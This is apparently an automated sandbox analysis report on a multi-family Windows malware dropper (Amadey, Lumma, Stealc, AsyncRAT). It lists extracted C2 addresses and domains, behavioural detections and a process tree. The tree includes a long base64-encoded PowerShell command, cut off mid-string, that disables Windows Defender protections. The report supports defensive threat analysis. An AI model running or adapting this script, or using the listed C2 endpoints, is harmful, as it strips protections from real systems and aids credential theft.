Overview

overview

10

Static

static

3

bb94330d7b...8b.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    142s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-12-2024 16:02

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    bb94330d7bb4d60f1247bf1ab358ac2960823d8289d2016ea8e3489b6919038b.exe

  • Size

    6.9MB

  • MD5

    82c0cd73fed2e80d61b1e3dfe88a4532

  • SHA1

    39430d223fa45488957ff0e8f72ed61347e0fb2e

  • SHA256

    bb94330d7bb4d60f1247bf1ab358ac2960823d8289d2016ea8e3489b6919038b

  • SHA512

    2acac19997121bc1e5e9bc89357bd3d201c899d96294f55c79bb052c40ee8c6e19c61db9b9c991c5660ec995c3b8824ce581d8cf866c664d4c39a8c362608477

  • SSDEEP

    196608:0RC0I/sAMruNuBukBz1RvEnglRcasdo4:0pI/FuHBz1RvEn6fsm4

Score
10/10
amadeyasyncratgcleanerlummastealcstormkitty9c9aa5defaultstokdiscoveryevasionexecutionloaderpersistenceratspywarestealertrojan

Malware Config

Extracted

Family

amadey

Version

4.42

Botnet

9c9aa5

C2

http://185.215.113.43

Attributes
  • install_dir

    abc3bc1985

  • install_file

    skotes.exe

  • strings_key

    8a35cf2ea38c2817dba29a4b5b25dcf0

  • url_paths

    /Zu7JuNko/index.php

rc4.plain

Extracted

Family

lumma

C2

https://impend-differ.biz/api

https://print-vexer.biz/api

https://dare-curbys.biz/api

https://covery-mover.biz/api

https://formy-spill.biz/api

https://dwell-exclaim.biz/api

https://zinc-sneark.biz/api

https://se-blurry.biz/api

https://atten-supporse.biz/api

Extracted

Family

stealc

Botnet

stok

C2

http://185.215.113.206

Attributes
  • url_path

    /c4becf79229cb002.php

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

205.209.109.10:4449

205.209.109.10:7723
Mutex

clgbfqzkkypxjps

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Extracted

Family

lumma

C2

https://atten-supporse.biz/api

https://covery-mover.biz/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Asyncrat family
    asyncrat
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 11 IoCs
    evasiontrojan
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • StormKitty

    StormKitty is an open source info stealer written in C#.

    stealerstormkitty
  • StormKitty payload 1 IoCs
  • Stormkitty family
    stormkitty
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Async RAT payload 3 IoCs
    rat
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 13 IoCs
    evasion
  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 26 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 17 IoCs
  • Identifies Wine through registry keys 2 TTPs 13 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Windows security modification 2 TTPs 3 IoCs
    evasiontrojan
  • Adds Run key to start application 2 TTPs 7 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 13 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 33 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 8 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 5 IoCs
    evasion
  • Modifies data under HKEY_USERS 46 IoCs
  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 45 IoCs
  • Suspicious use of AdjustPrivilegeToken 58 IoCs
  • Suspicious use of FindShellTrayWindow 36 IoCs
  • Suspicious use of SendNotifyMessage 34 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\bb94330d7bb4d60f1247bf1ab358ac2960823d8289d2016ea8e3489b6919038b.exe
    "C:\Users\Admin\AppData\Local\Temp\bb94330d7bb4d60f1247bf1ab358ac2960823d8289d2016ea8e3489b6919038b.exe"
    1⤵
    • Adds Run key to start application
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3292
    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\F6W49.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\F6W49.exe
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3356
      • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\s0n62.exe
        C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\s0n62.exe
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1356
        • C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1T36h5.exe
          C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1T36h5.exe
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:2604
          • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
            "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Adds Run key to start application
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2944
            • C:\Users\Admin\AppData\Local\Temp\1013644001\Z9Pp9pM.exe
              "C:\Users\Admin\AppData\Local\Temp\1013644001\Z9Pp9pM.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:2396
            • C:\Users\Admin\AppData\Local\Temp\1013675001\H3tyh96.exe
              "C:\Users\Admin\AppData\Local\Temp\1013675001\H3tyh96.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Checks computer location settings
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:3488
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QAAoAGUAYwBoAG8AIABvAGYAZgAlACkAWwAxAF0ADQAKAHMAcAAgACcASABLAEMAVQA6AFwAVgBvAGwAYQB0AGkAbABlACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACcAIAAnAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAnACAAQAAnAA0ACgBpAGYAIAAoACQAKABzAGMALgBlAHgAZQAgAHEAYwAgAHcAaQBuAGQAZQBmAGUAbgBkACkAIAAtAGwAaQBrAGUAIAAnACoAVABPAEcARwBMAEUAKgAnACkAIAB7ACQAVABPAEcARwBMAEUAPQA3ADsAJABLAEUARQBQAD0ANgA7ACQAQQA9ACcARQBuAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBGAEYAJwB9AGUAbABzAGUAewAkAFQATwBHAEcATABFAD0ANgA7ACQASwBFAEUAUAA9ADcAOwAkAEEAPQAnAEQAaQBzAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBOACcAfQANAAoADQAKAGkAZgAgACgAJABlAG4AdgA6ADEAIAAtAG4AZQAgADYAIAAtAGEAbgBkACAAJABlAG4AdgA6ADEAIAAtAG4AZQAgADcAKQAgAHsAIAAkAGUAbgB2ADoAMQA9ACQAVABPAEcARwBMAEUAIAB9AA0ACgANAAoAcwB0AGEAcgB0ACAAYwBtAGQAIAAtAGEAcgBnAHMAIAAnAC8AZAAvAHIAIABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwB5AHMAdAByAGEAeQAgACYAIAAiACUAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAJQBcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABNAFMAQQBTAEMAdQBpAEwALgBlAHgAZQAiACcAIAAtAHcAaQBuACAAMQANAAoADQAKACQAbgBvAHQAaQBmAD0AJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzAFwAUwBlAHQAdABpAG4AZwBzAFwAVwBpAG4AZABvAHcAcwAuAFMAeQBzAHQAZQBtAFQAbwBhAHMAdAAuAFMAZQBjAHUAcgBpAHQAeQBBAG4AZABNAGEAaQBuAHQAZQBuAGEAbgBjAGUAJwANAAoAbgBpACAAJABuAG8AdABpAGYAIAAtAGUAYQAgADAAfABvAHUAdAAtAG4AdQBsAGwAOwAgAHIAaQAgACQAbgBvAHQAaQBmAC4AcgBlAHAAbABhAGMAZQAoACcAUwBlAHQAdABpAG4AZwBzACcALAAnAEMAdQByAHIAZQBuAHQAJwApACAALQBSAGUAYwB1AHIAcwBlACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgADAAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAA7ACAAaQBmACAAKAAkAFQATwBHAEcATABFACAALQBlAHEAIAA3ACkAIAB7AHIAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAH0ADQAKAA0ACgAkAHQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAbwBtAE8AYgBqAGUAYwB0ACAAJwBTAGMAaABlAGQAdQBsAGUALgBTAGUAcgB2AGkAYwBlACcAOwAgACQAdABzAC4AQwBvAG4AbgBlAGMAdAAoACkAOwAgACQAYgBhAGYAZgBsAGkAbgBnAD0AJAB0AHMALgBHAGUAdABGAG8AbABkAGUAcgAoACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABEAGkAcwBrAEMAbABlAGEAbgB1AHAAJwApAA0ACgAkAGIAcABhAHMAcwA9ACQAYgBhAGYAZgBsAGkAbgBnAC4ARwBlAHQAVABhAHMAawAoACcAUwBpAGwAZQBuAHQAQwBsAGUAYQBuAHUAcAAnACkAOwAgACQAZgBsAGEAdwA9ACQAYgBwAGEAcwBzAC4ARABlAGYAaQBuAGkAdABpAG8AbgANAAoADQAKACQAdQA9ADAAOwAkAHcAPQB3AGgAbwBhAG0AaQAgAC8AZwByAG8AdQBwAHMAOwBpAGYAKAAkAHcALQBsAGkAawBlACcAKgAxAC0ANQAtADMAMgAtADUANAA0ACoAJwApAHsAJAB1AD0AMQB9ADsAaQBmACgAJAB3AC0AbABpAGsAZQAnACoAMQAtADEANgAtADEAMgAyADgAOAAqACcAKQB7ACQAdQA9ADIAfQA7AGkAZgAoACQAdwAtAGwAaQBrAGUAJwAqADEALQAxADYALQAxADYAMwA4ADQAKgAnACkAewAkAHUAPQAzAH0ADQAKAA0ACgAkAHIAPQBbAGMAaABhAHIAXQAxADMAOwAgACQAbgBmAG8APQBbAGMAaABhAHIAXQAzADkAKwAkAHIAKwAnACAAKABcACAAIAAgAC8AKQAnACsAJAByACsAJwAoACAAKgAgAC4AIAAqACAAKQAgACAAQQAgAGwAaQBtAGkAdABlAGQAIABhAGMAYwBvAHUAbgB0ACAAcAByAG8AdABlAGMAdABzACAAeQBvAHUAIABmAHIAbwBtACAAVQBBAEMAIABlAHgAcABsAG8AaQB0AHMAJwArACQAcgArACcAIAAgACAAIABgAGAAYAAnACsAJAByACsAWwBjAGgAYQByAF0AMwA5AA0ACgAkAHMAYwByAGkAcAB0AD0AJwAtAG4AbwBwACAALQB3AGkAbgAgADEAIAAtAGMAIAAmACAAewByAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAA7ACQAQQB2AGUAWQBvAD0AJwArACQAbgBmAG8AKwAnADsAJABlAG4AdgA6ADEAPQAnACsAJABlAG4AdgA6ADEAOwAgACQAZQBuAHYAOgBfAF8AQwBPAE0AUABBAFQAXwBMAEEAWQBFAFIAPQAnAEkAbgBzAHQAYQBsAGwAZQByACcADQAKACQAcwBjAHIAaQBwAHQAKwA9ACcAOwBpAGUAeAAoACgAZwBwACAAUgBlAGcAaQBzAHQAcgB5ADoAOgBIAEsARQBZAF8AVQBzAGUAcgBzAFwAUwAtADEALQA1AC0AMgAxACoAXABWAG8AbABhAHQAaQBsAGUAKgAgAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAgAC0AZQBhACAAMAApAFsAMABdAC4AVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACkAfQAnADsAIAAkAGMAbQBkAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsACAAJwArACQAcwBjAHIAaQBwAHQADQAKAA0ACgBpAGYAIAAoACQAdQAgAC0AZQBxACAAMAApACAAewANAAoAIAAgAHMAdABhAHIAdAAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGEAcgBnAHMAIAAkAHMAYwByAGkAcAB0ACAALQB2AGUAcgBiACAAcgB1AG4AYQBzACAALQB3AGkAbgAgADEAOwAgAGIAcgBlAGEAawANAAoAfQANAAoAaQBmACAAKAAkAHUAIAAtAGUAcQAgADEAKQAgAHsADQAKACAAIABpAGYAIAAoACQAZgBsAGEAdwAuAEEAYwB0AGkAbwBuAHMALgBJAHQAZQBtACgAMQApAC4AUABhAHQAaAAgAC0AaQBuAG8AdABsAGkAawBlACAAJwAqAHcAaQBuAGQAaQByACoAJwApAHsAcwB0AGEAcgB0ACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AYQByAGcAcwAgACQAcwBjAHIAaQBwAHQAIAAtAHYAZQByAGIAIAByAHUAbgBhAHMAIAAtAHcAaQBuACAAMQA7ACAAYgByAGUAYQBrAH0ADQAKACAAIABzAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgACQAKAAnAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAnACsAJABzAGMAcgBpAHAAdAArACcAIAAjACcAKQANAAoAIAAgACQAegA9ACQAYgBwAGEAcwBzAC4AUgB1AG4ARQB4ACgAJABuAHUAbABsACwAMgAsADAALAAkAG4AdQBsAGwAKQA7ACAAJAB3AGEAaQB0AD0AMAA7ACAAdwBoAGkAbABlACgAJABiAHAAYQBzAHMALgBTAHQAYQB0AGUAIAAtAGcAdAAgADMAIAAtAGEAbgBkACAAJAB3AGEAaQB0ACAALQBsAHQAIAAxADcAKQB7AHMAbABlAGUAcAAgAC0AbQAgADEAMAAwADsAIAAkAHcAYQBpAHQAKwA9ADAALgAxAH0ADQAKACAAIABpAGYAKABnAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAApAHsAcgBwACAAaABrAGMAdQA6AFwAZQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAdwBpAG4AZABpAHIAIAAtAGUAYQAgADAAOwBzAHQAYQByAHQAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBhAHIAZwBzACAAJABzAGMAcgBpAHAAdAAgAC0AdgBlAHIAYgAgAHIAdQBuAGEAcwAgAC0AdwBpAG4AIAAxAH0AOwBiAHIAZQBhAGsADQAKAH0ADQAKAGkAZgAgACgAJAB1ACAALQBlAHEAIAAyACkAIAB7AA0ACgAgACAAJABBAD0AWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMAQQBzAHMAZQBtAGIAbAB5ACIAKAAxACwAMQApAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMATQBvAGQAdQBsAGUAIgAoADEAKQA7ACQARAA9AEAAKAApADsAMAAuAC4ANQB8ACUAewAkAEQAKwA9ACQAQQAuACIARABlAGYAYABpAG4AZQBUAHkAcABlACIAKAAnAEEAJwArACQAXwAsAA0ACgAgACAAMQAxADcAOQA5ADEAMwAsAFsAVgBhAGwAdQBlAFQAeQBwAGUAXQApAH0AIAA7ADQALAA1AHwAJQB7ACQARAArAD0AJABEAFsAJABfAF0ALgAiAE0AYQBrAGAAZQBCAHkAUgBlAGYAVAB5AHAAZQAiACgAKQB9ACAAOwAkAEkAPQBbAEkAbgB0ADMAMgBdADsAJABKAD0AIgBJAG4AdABgAFAAdAByACIAOwAkAFAAPQAkAEkALgBtAG8AZAB1AGwAZQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4AJABKACIAKQA7ACAAJABGAD0AQAAoADAAKQANAAoAIAAgACQARgArAD0AKAAkAFAALAAkAEkALAAkAFAAKQAsACgAJABJACwAJABJACwAJABJACwAJABJACwAJABQACwAJABEAFsAMQBdACkALAAoACQASQAsACQAUAAsACQAUAAsACQAUAAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsAFsASQBuAHQAMQA2AF0ALABbAEkAbgB0ADEANgBdACwAJABQACwAJABQACwAJABQACwAJABQACkALAAoACQARABbADMAXQAsACQAUAApACwAKAAkAFAALAAkAFAALAAkAEkALAAkAEkAKQANAAoAIAAgACQAUwA9AFsAUwB0AHIAaQBuAGcAXQA7ACAAJAA5AD0AJABEAFsAMABdAC4AIgBEAGUAZgBgAGkAbgBlAFAASQBuAHYAbwBrAGUATQBlAHQAaABvAGQAIgAoACcAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAnACwAIgBrAGUAcgBuAGUAbABgADMAMgAiACwAOAAyADEANAAsADEALAAkAEkALABAACgAJABTACwAJABTACwAJABJACwAJABJACwAJABJACwAJABJACwAJABJACwAJABTACwAJABEAFsANgBdACwAJABEAFsANwBdACkALAAxACwANAApAA0ACgAgACAAMQAuAC4ANQB8ACUAewAkAGsAPQAkAF8AOwAkAG4APQAxADsAJABGAFsAJABfAF0AfAAlAHsAJAA5AD0AJABEAFsAJABrAF0ALgAiAEQAZQBmAGAAaQBuAGUARgBpAGUAbABkACIAKAAnAGYAJwArACQAbgArACsALAAkAF8ALAA2ACkAfQB9ADsAJABUAD0AQAAoACkAOwAwAC4ALgA1AHwAJQB7ACQAVAArAD0AJABEAFsAJABfAF0ALgAiAEMAcgBgAGUAYQB0AGUAVAB5AHAAZQAiACgAKQA7ACQAWgA9AFsAdQBpAG4AdABwAHQAcgBdADoAOgBzAGkAegBlAA0ACgAgACAAbgB2ACAAKAAnAFQAJwArACQAXwApACgAWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKAAkAFQAWwAkAF8AXQApACkAfQA7ACAAJABIAD0AJABJAC4AbQBvAGQAdQBsAGUALgBHAGUAdABUAHkAcABlACgAIgBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAGAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAYABzAGgAYQBsACIAKQA7AA0ACgAgACAAJABXAFAAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAVwByAGkAdABlACQASgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABKACwAJABKACkAKQA7ACAAJABIAEcAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAQQBsAGwAbwBjAEgAYABHAGwAbwBiAGEAbAAiACwAWwB0AHkAcABlAFsAXQBdACcAaQBuAHQAMwAyACcAKQA7ACAAJAB2AD0AJABIAEcALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACQAWgApAA0ACgAgACAAJwBUAHIAdQBzAHQAZQBkAEkAbgBzAHQAYQBsAGwAZQByACcALAAnAGwAcwBhAHMAcwAnAHwAJQB7AGkAZgAoACEAJABwAG4AKQB7AG4AZQB0ADEAIABzAHQAYQByAHQAIAAkAF8AIAAyAD4AJgAxACAAPgAkAG4AdQBsAGwAOwAkAHAAbgA9AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABQAHIAbwBjAGUAcwBzAGUAcwBCAHkATgBhAG0AZQAoACQAXwApAFsAMABdADsAfQB9AA0ACgAgACAAJABXAFAALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsAEAAKAAkAHYALAAkAHAAbgAuAEgAYQBuAGQAbABlACkAKQA7ACAAJABTAFoAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAUwBpAHoAZQBPAGYAIgAsAFsAdAB5AHAAZQBbAF0AXQAnAHQAeQBwAGUAJwApADsAIAAkAFQAMQAuAGYAMQA9ADEAMwAxADAANwAyADsAIAAkAFQAMQAuAGYAMgA9ACQAWgA7ACAAJABUADEALgBmADMAPQAkAHYAOwAgACQAVAAyAC4AZgAxAD0AMQANAAoAIAAgACQAVAAyAC4AZgAyAD0AMQA7ACQAVAAyAC4AZgAzAD0AMQA7ACQAVAAyAC4AZgA0AD0AMQA7ACQAVAAyAC4AZgA2AD0AJABUADEAOwAkAFQAMwAuAGYAMQA9ACQAUwBaAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFQAWwA0AF0AKQA7ACQAVAA0AC4AZgAxAD0AJABUADMAOwAkAFQANAAuAGYAMgA9ACQASABHAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFMAWgAuAGkAbgB2AG8AawBlACgAJABuAHUAbABsACwAJABUAFsAMgBdACkAKQANAAoAIAAgACQASAAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAIgBTAHQAcgB1AGMAdAB1AHIAZQBUAG8AYABQAHQAcgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABEAFsAMgBdACwAJABKACwAJwBiAG8AbwBsAGUAYQBuACcAKQApAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALABAACgAKAAkAFQAMgAtAGEAcwAgACQARABbADIAXQApACwAJABUADQALgBmADIALAAkAGYAYQBsAHMAZQApACkAOwAkAHcAaQBuAGQAbwB3AD0AMAB4ADAARQAwADgAMAA2ADAAMAANAAoAIAAgACQAOQA9ACQAVABbADAAXQAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAJwBDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAQAAoACQAbgB1AGwAbAAsACQAYwBtAGQALAAwACwAMAAsADAALAAkAHcAaQBuAGQAbwB3ACwAMAAsACQAbgB1AGwAbAAsACgAJABUADQALQBhAHMAIAAkAEQAWwA0AF0AKQAsACgAJABUADUALQBhAHMAIAAkAEQAWwA1AF0AKQApACkAOwAgAGIAcgBlAGEAawANAAoAfQANAAoADQAKACQAdwBkAHAAPQAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgAnAA0ACgAnACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcALAAnAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACwAJwBcAE0AcABFAG4AZwBpAG4AZQAnACwAJwBcAFMAcAB5AG4AZQB0ACcALAAnAFwAUgBlAGEAbAAtAFQAaQBtAGUAIABQAHIAbwB0AGUAYwB0AGkAbwBuACcAIAB8ACUAIAB7AG4AaQAgACgAJAB3AGQAcAArACQAXwApAC0AZQBhACAAMAB8AG8AdQB0AC0AbgB1AGwAbAB9AA0ACgANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAIABTAGUAYwB1AHIAaQB0AHkAIABDAGUAbgB0AGUAcgBcAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAJwAgAEQAaQBzAGEAYgBsAGUATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACAATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AXwBTAHUAcABwAHIAZQBzAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcAIABEAGkAcwBhAGIAbABlAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAFUAWAAgAEMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4AJwAgAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAF8AUwB1AHAAcAByAGUAcwBzACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtACcAIABFAG4AYQBiAGwAZQBTAG0AYQByAHQAUwBjAHIAZQBlAG4AIAAwACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACcAIABEAGkAcwBhAGIAbABlAEEAbg